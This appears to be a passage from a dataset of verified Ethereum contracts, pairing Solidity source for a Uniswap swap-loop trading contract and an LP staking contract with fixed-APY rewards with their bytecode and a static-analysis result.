* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// Contract Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Controls the owner of the contract
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Contract to make buys and sells
contract Impact is Ownable {
function buy(
uint256 amountIn,
uint256 amountOutMin,
address[] memory buyPath,
uint256 deadline,
IUniswapV2Router02 uniswapRouterAddress,
uint256 noOfBuys
) external {
uint256 i = 0;
for (i; i < noOfBuys; i++) {
uniswapRouterAddress
.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amountIn,
amountOutMin,
buyPath,
address(this),
deadline
);
}
}
function sell(
uint256 amountOutMin,
address[] memory path,
uint256 deadline,
IUniswapV2Router02 uniswapRouterAddress
) external returns (bool) {
IERC20(path[0]).approve(
address(uniswapRouterAddress),
115792089237316195423570985008687907853269984665640564039457584007913129639935
);
uint256 balance = IERC20(path[0]).balanceOf(address(this));
uniswapRouterAddress
.swapExactTokensForTokensSupportingFeeOnTransferTokens(
balance,
amountOutMin,
path,
address(this),
deadline
);
return true;
}
function approve(IERC20 weth, address uniswapRouterAddress)
external
returns (bool)
{
weth.approve(uniswapRouterAddress, weth.totalSupply());
return true;
}
function withdrawToken(IERC20 tokenContractAddress, uint256 amount)
external
onlyOwner
returns (bool)
{
SafeERC20.safeTransfer(tokenContractAddress, owner(), amount);
return true;
}
function destroySmartContract(address payable _to) public onlyOwner {
selfdestruct(_to);
}
}
|
0x608060405234801561001057600080fd5b50600436106100625760003560e01c806339df43ff146100675780637e5465ba1461007c5780638da5cb5b146100a45780639e281a98146100bf578063e0402b3a146100d2578063f2e016b5146100e5575b600080fd5b61007a6100753660046107e8565b6100f8565b005b61008f61008a366004610815565b610163565b60405190151581526020015b60405180910390f35b6000546040516001600160a01b03909116815260200161009b565b61008f6100cd36600461084e565b61026e565b61007a6100e0366004610927565b6102ee565b61008f6100f336600461099e565b61037b565b6000546001600160a01b031633146101575760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b806001600160a01b0316ff5b6000826001600160a01b031663095ea7b383856001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101ae57600080fd5b505afa1580156101c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e69190610a01565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561022c57600080fd5b505af1158015610240573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102649190610a1a565b5060019392505050565b600080546001600160a01b031633146102c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161014e565b6102e5836102df6000546001600160a01b031690565b8461052d565b50600192915050565b60005b8181101561037257604051635c11d79560e01b81526001600160a01b03841690635c11d7959061032d908a908a908a9030908b90600401610a3c565b600060405180830381600087803b15801561034757600080fd5b505af115801561035b573d6000803e3d6000fd5b50505050808061036a90610aad565b9150506102f1565b50505050505050565b60008360008151811061039057610390610ad6565b602090810291909101015160405163095ea7b360e01b81526001600160a01b03848116600483015260001960248301529091169063095ea7b390604401602060405180830381600087803b1580156103e757600080fd5b505af11580156103fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041f9190610a1a565b5060008460008151811061043557610435610ad6565b60209081029190910101516040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561048057600080fd5b505afa158015610494573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b89190610a01565b604051635c11d79560e01b81529091506001600160a01b03841690635c11d795906104ef9084908a908a9030908b90600401610a3c565b600060405180830381600087803b15801561050957600080fd5b505af115801561051d573d6000803e3d6000fd5b5060019998505050505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261057f908490610584565b505050565b60006105d9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166106569092919063ffffffff16565b80519091501561057f57808060200190518101906105f79190610a1a565b61057f5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161014e565b6060610665848460008561066f565b90505b9392505050565b6060824710156106d05760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161014e565b843b61071e5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161014e565b600080866001600160a01b0316858760405161073a9190610b1c565b60006040518083038185875af1925050503d8060008114610777576040519150601f19603f3d011682016040523d82523d6000602084013e61077c565b606091505b509150915061078c828286610797565b979650505050505050565b606083156107a6575081610668565b8251156107b65782518084602001fd5b8160405162461bcd60e51b815260040161014e9190610b38565b6001600160a01b03811681146107e557600080fd5b50565b6000602082840312156107fa57600080fd5b8135610668816107d0565b8035610810816107d0565b919050565b6000806040838503121561082857600080fd5b8235610833816107d0565b91506020830135610843816107d0565b809150509250929050565b6000806040838503121561086157600080fd5b823561086c816107d0565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126108a157600080fd5b8135602067ffffffffffffffff808311156108be576108be61087a565b8260051b604051601f19603f830116810181811084821117156108e3576108e361087a565b60405293845285810183019383810192508785111561090157600080fd5b83870191505b8482101561078c5761091882610805565b83529183019190830190610907565b60008060008060008060c0878903121561094057600080fd5b8635955060208701359450604087013567ffffffffffffffff81111561096557600080fd5b61097189828a01610890565b945050606087013592506080870135610989816107d0565b8092505060a087013590509295509295509295565b600080600080608085870312156109b457600080fd5b84359350602085013567ffffffffffffffff8111156109d257600080fd5b6109de87828801610890565b9350506040850135915060608501356109f6816107d0565b939692955090935050565b600060208284031215610a1357600080fd5b5051919050565b600060208284031215610a2c57600080fd5b8151801515811461066857600080fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610a8c5784516001600160a01b031683529383019391830191600101610a67565b50506001600160a01b03969096166060850152505050608001529392505050565b6000600019821415610acf57634e487b7160e01b600052601160045260246000fd5b5060010190565b634e487b7160e01b600052603260045260246000fd5b60005b83811015610b07578181015183820152602001610aef565b83811115610b16576000848401525b50505050565b60008251610b2e818460208701610aec565b9190910192915050565b6020815260008251806020840152610b57816040850160208701610aec565b601f01601f1916919091016040019291505056fea2646970667358221220308f34855f21d39ee76d33e9254b90affef394b31929c63a02c8a8ea79392c8064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,214 |
0x21cacaa3fae6c21c02982b4c070e259fc1d42c70
|
/**
*Submitted for verification at Etherscan.io on 2021-05-31
*/
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function decimals() external pure returns (uint);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface INimbusPair is IERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IStakingRewards {
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function stake(uint256 amount) external;
function stakeFor(uint256 amount, address user) external;
function getReward() external;
function withdraw(uint256 nonce) external;
function withdrawAndGetReward(uint256 nonce) external;
}
interface IERC20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingLPRewardFixedAPY is IStakingRewards, ReentrancyGuard, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public immutable rewardsToken;
INimbusPair public immutable stakingLPToken;
INimbusRouter public swapRouter;
address public immutable lPPairTokenA;
address public immutable lPPairTokenB;
uint256 public rewardRate;
uint256 public constant rewardDuration = 365 days;
mapping(address => uint256) public weightedStakeDate;
mapping(address => mapping(uint256 => uint256)) public stakeAmounts;
mapping(address => mapping(uint256 => uint256)) public stakeAmountsRewardEquivalent;
mapping(address => uint256) public stakeNonces;
uint256 private _totalSupply;
uint256 private _totalSupplyRewardEquivalent;
uint256 private immutable _tokenADecimalCompensate;
uint256 private immutable _tokenBDecimalCompensate;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _balancesRewardEquivalent;
event RewardUpdated(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Rescue(address to, uint256 amount);
event RescueToken(address to, address token, uint256 amount);
constructor(
address _rewardsToken,
address _stakingLPToken,
address _lPPairTokenA,
address _lPPairTokenB,
address _swapRouter,
uint _rewardRate
) {
rewardsToken = IERC20(_rewardsToken);
stakingLPToken = INimbusPair(_stakingLPToken);
swapRouter = INimbusRouter(_swapRouter);
rewardRate = _rewardRate;
lPPairTokenA = _lPPairTokenA;
lPPairTokenB = _lPPairTokenB;
uint tokenADecimals = IERC20(_lPPairTokenA).decimals();
require(tokenADecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenADecimalCompensate = tokenADecimals.sub(6);
uint tokenBDecimals = IERC20(_lPPairTokenB).decimals();
require(tokenBDecimals >= 6, "StakingLPRewardFixedAPY: small amount of decimals");
_tokenBDecimalCompensate = tokenBDecimals.sub(6);
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function totalSupplyRewardEquivalent() external view returns (uint256) {
return _totalSupplyRewardEquivalent;
}
function getDecimalPriceCalculationCompensate() external view returns (uint tokenADecimalCompensate, uint tokenBDecimalCompensate) {
tokenADecimalCompensate = _tokenADecimalCompensate;
tokenBDecimalCompensate = _tokenBDecimalCompensate;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function balanceOfRewardEquivalent(address account) external view returns (uint256) {
return _balancesRewardEquivalent[account];
}
function earned(address account) public view override returns (uint256) {
return (_balancesRewardEquivalent[account].mul(block.timestamp.sub(weightedStakeDate[account])).mul(rewardRate)) / (100 * rewardDuration);
}
function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
// permit
IERC20Permit(address(stakingLPToken)).permit(msg.sender, address(this), amount, deadline, v, r, s);
_stake(amount, msg.sender);
}
function stake(uint256 amount) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
_stake(amount, msg.sender);
}
function stakeFor(uint256 amount, address user) external override nonReentrant {
require(amount > 0, "StakingLPRewardFixedAPY: Cannot stake 0");
_stake(amount, user);
}
function _stake(uint256 amount, address user) private {
IERC20(stakingLPToken).safeTransferFrom(msg.sender, address(this), amount);
uint amountRewardEquivalent = getCurrentLPPrice().mul(amount) / 10 ** 18;
_totalSupply = _totalSupply.add(amount);
_totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.add(amountRewardEquivalent);
uint previousAmount = _balances[user];
uint newAmount = previousAmount.add(amount);
weightedStakeDate[user] = (weightedStakeDate[user].mul(previousAmount) / newAmount).add(block.timestamp.mul(amount) / newAmount);
_balances[user] = newAmount;
uint stakeNonce = stakeNonces[user]++;
stakeAmounts[user][stakeNonce] = amount;
stakeAmountsRewardEquivalent[user][stakeNonce] = amountRewardEquivalent;
_balancesRewardEquivalent[user] = _balancesRewardEquivalent[user].add(amountRewardEquivalent);
emit Staked(user, amount);
}
//A user can withdraw its staking tokens even if there is no rewards tokens on the contract account
function withdraw(uint256 nonce) public override nonReentrant {
require(stakeAmounts[msg.sender][nonce] > 0, "StakingLPRewardFixedAPY: This stake nonce was withdrawn");
uint amount = stakeAmounts[msg.sender][nonce];
uint amountRewardEquivalent = stakeAmountsRewardEquivalent[msg.sender][nonce];
_totalSupply = _totalSupply.sub(amount);
_totalSupplyRewardEquivalent = _totalSupplyRewardEquivalent.sub(amountRewardEquivalent);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_balancesRewardEquivalent[msg.sender] = _balancesRewardEquivalent[msg.sender].sub(amountRewardEquivalent);
IERC20(stakingLPToken).safeTransfer(msg.sender, amount);
stakeAmounts[msg.sender][nonce] = 0;
stakeAmountsRewardEquivalent[msg.sender][nonce] = 0;
emit Withdrawn(msg.sender, amount);
}
function getReward() public override nonReentrant {
uint256 reward = earned(msg.sender);
if (reward > 0) {
weightedStakeDate[msg.sender] = block.timestamp;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function withdrawAndGetReward(uint256 nonce) external override {
getReward();
withdraw(nonce);
}
function getCurrentLPPrice() public view returns (uint) {
// LP PRICE = 2 * SQRT(reserveA * reaserveB ) * SQRT(token1/RewardTokenPrice * token2/RewardTokenPrice) / LPTotalSupply
uint tokenAToRewardPrice;
uint tokenBToRewardPrice;
address rewardToken = address(rewardsToken);
address[] memory path = new address[](2);
path[1] = address(rewardToken);
if (lPPairTokenA != rewardToken) {
path[0] = lPPairTokenA;
tokenAToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenADecimalCompensate > 0)
tokenAToRewardPrice = tokenAToRewardPrice.mul(10 ** _tokenADecimalCompensate);
} else {
tokenAToRewardPrice = 10 ** 18;
}
if (lPPairTokenB != rewardToken) {
path[0] = lPPairTokenB;
tokenBToRewardPrice = swapRouter.getAmountsOut(10 ** 6, path)[1];
if (_tokenBDecimalCompensate > 0)
tokenBToRewardPrice = tokenBToRewardPrice.mul(10 ** _tokenBDecimalCompensate);
} else {
tokenBToRewardPrice = 10 ** 18;
}
uint totalLpSupply = IERC20(stakingLPToken).totalSupply();
require(totalLpSupply > 0, "StakingLPRewardFixedAPY: No liquidity for pair");
(uint reserveA, uint reaserveB,) = stakingLPToken.getReserves();
uint price =
uint(2).mul(Math.sqrt(reserveA.mul(reaserveB))
.mul(Math.sqrt(tokenAToRewardPrice.mul(tokenBToRewardPrice)))) / totalLpSupply;
return price;
}
function updateRewardAmount(uint256 reward) external onlyOwner {
rewardRate = reward;
emit RewardUpdated(reward);
}
function updateSwapRouter(address newSwapRouter) external onlyOwner {
require(newSwapRouter != address(0), "StakingLPRewardFixedAPY: Address is zero");
swapRouter = INimbusRouter(newSwapRouter);
}
function rescue(address to, IERC20 token, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
require(token != stakingLPToken, "StakingLPRewardFixedAPY: Cannot rescue staking token");
//owner can rescue rewardsToken if there is spare unused tokens on staking contract balance
token.safeTransfer(to, amount);
emit RescueToken(to, address(token), amount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "StakingLPRewardFixedAPY: Cannot rescue to the zero address");
require(amount > 0, "StakingLPRewardFixedAPY: Cannot rescue 0");
to.transfer(amount);
emit Rescue(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101ef5760003560e01c806386a9d8a81161010f578063c41f7808116100a2578063ecd9ba8211610071578063ecd9ba82146103a1578063f2fde38b146103b4578063f44c407a146103c7578063f520e7e5146103da576101ef565b8063c41f780814610381578063d1af0c7d14610389578063d4ee1d9014610391578063d72164fe14610399576101ef565b8063ac348bb2116100de578063ac348bb214610340578063b98b677f14610353578063baee99c214610366578063c31c9c0714610379576101ef565b806386a9d8a8146102ff5780638da5cb5b146103125780638edc7f2d1461031a578063a694fc3a1461032d576101ef565b8063389b70b31161018757806370a082311161015657806370a08231146102c957806379ba5097146102dc5780637a4e4ecf146102e45780637b0a47ee146102f7576101ef565b8063389b70b3146102855780633d18b9121461029b57806351746bb2146102a3578063673434b2146102b6576101ef565b80631cb1f5b6116101c35780631cb1f5b61461024f57806320ff430b146102575780632cb7714f1461026a5780632e1a7d4d14610272576101ef565b80628cc262146101f45780630d9df9c21461021d57806315c2ba141461023257806318160ddd14610247575b600080fd5b610207610202366004611eb8565b6103e2565b6040516102149190612712565b60405180910390f35b610225610474565b604051610214919061215e565b610245610240366004612079565b610498565b005b610207610532565b610207610538565b610245610265366004611eff565b61053e565b6102256106fd565b610245610280366004612079565b610721565b61028d610919565b60405161021492919061271b565b61024561095f565b6102456102b13660046120a9565b610a6e565b6102076102c4366004611eb8565b610b09565b6102076102d7366004611eb8565b610b31565b610245610b59565b6102456102f2366004611ed4565b610c15565b610207610d6e565b61020761030d366004611eb8565b610d74565b610225610d86565b610207610328366004611f3f565b610da2565b61024561033b366004612079565b610dbf565b61020761034e366004611f3f565b610e55565b610245610361366004611eb8565b610e72565b610207610374366004611eb8565b610f57565b610225610f69565b610225610f85565b610225610fa9565b610225610fcd565b610207610fe9565b6102456103af3660046120d8565b6116c0565b6102456103c2366004611eb8565b61180e565b6102456103d5366004612079565b6118ce565b6102076118df565b60006103f36301e1338060646128ac565b60045473ffffffffffffffffffffffffffffffffffffffff8416600090815260056020526040902054610462919061045c906104309042906118e7565b73ffffffffffffffffffffffffffffffffffffffff87166000908152600c602052604090205490611939565b90611939565b61046c9190612741565b90505b919050565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60015473ffffffffffffffffffffffffffffffffffffffff1633146104f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60405180910390fd5b60048190556040517fcb94909754d27c309adf4167150f1f7aa04de40b6a0e6bb98b2ae80a2bf438f690610527908390612712565b60405180910390a150565b60095490565b600a5490565b60015473ffffffffffffffffffffffffffffffffffffffff16331461058f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff83166105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610616576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b7f000000000000000000000000d6680f0e252f6409755897ffa7fb8a82f5aade7673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561069c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612530565b6106bd73ffffffffffffffffffffffffffffffffffffffff8316848361199f565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba9108383836040516106f0939291906121a5565b60405180910390a1505050565b7f0000000000000000000000000bcd83df58a1bfd25b1347f9c9da1b7118b648a681565b60016000808282546107339190612729565b9091555050600080543382526006602090815260408084208585529091529091205461078b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612328565b336000818152600660209081526040808320868452825280832054938352600782528083208684529091529020546009546107c690836118e7565b600955600a546107d690826118e7565b600a55336000908152600b60205260409020546107f390836118e7565b336000908152600b6020908152604080832093909355600c9052205461081990826118e7565b336000818152600c602052604090209190915561086e907f000000000000000000000000d6680f0e252f6409755897ffa7fb8a82f5aade7673ffffffffffffffffffffffffffffffffffffffff16908461199f565b33600081815260066020908152604080832088845282528083208390558383526007825280832088845290915280822091909155517f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5906108d0908590612712565b60405180910390a250506000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b5050565b7f000000000000000000000000000000000000000000000000000000000000000c907f000000000000000000000000000000000000000000000000000000000000000c90565b60016000808282546109719190612729565b90915550506000805490610984336103e2565b90508015610a2f573360008181526005602052604090204290556109e0907f000000000000000000000000eb58343b36c7528f23caae63a15024024131004973ffffffffffffffffffffffffffffffffffffffff16908361199f565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048682604051610a269190612712565b60405180910390a25b506000548114610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b50565b6001600080828254610a809190612729565b909155505060005482610abf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610ac98383611a40565b6000548114610b04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050565b73ffffffffffffffffffffffffffffffffffffffff166000908152600c602052604090205490565b73ffffffffffffffffffffffffffffffffffffffff166000908152600b602052604090205490565b60025473ffffffffffffffffffffffffffffffffffffffff163314610b7d57600080fd5b60025460015460405173ffffffffffffffffffffffffffffffffffffffff92831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360028054600180547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610c66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8216610cb3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906126b5565b60008111610ced576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906125ea565b60405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610d30573d6000803e3d6000fd5b507f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610d6292919061217f565b60405180910390a15050565b60045481565b60086020526000908152604090205481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b600660209081526000928352604080842090915290825290205481565b6001600080828254610dd19190612729565b909155505060005481610e10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b610e1a8233611a40565b6000548114610915576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b600760209081526000928352604080842090915290825290205481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ec3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b73ffffffffffffffffffffffffffffffffffffffff8116610f10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612385565b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60056020526000908152604090205481565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000d6680f0e252f6409755897ffa7fb8a82f5aade7681565b7f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b604080516002808252606082018352600092839283927f000000000000000000000000eb58343b36c7528f23caae63a1502402413100499284929190602083019080368337019050509050818160018151811061106f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101527f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981169083161461129b577f000000000000000000000000eb58343b36c7528f23caae63a15024024131004981600081518110611118577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f9061118090620f4240908590600401612224565b60006040518083038186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526111f291908101906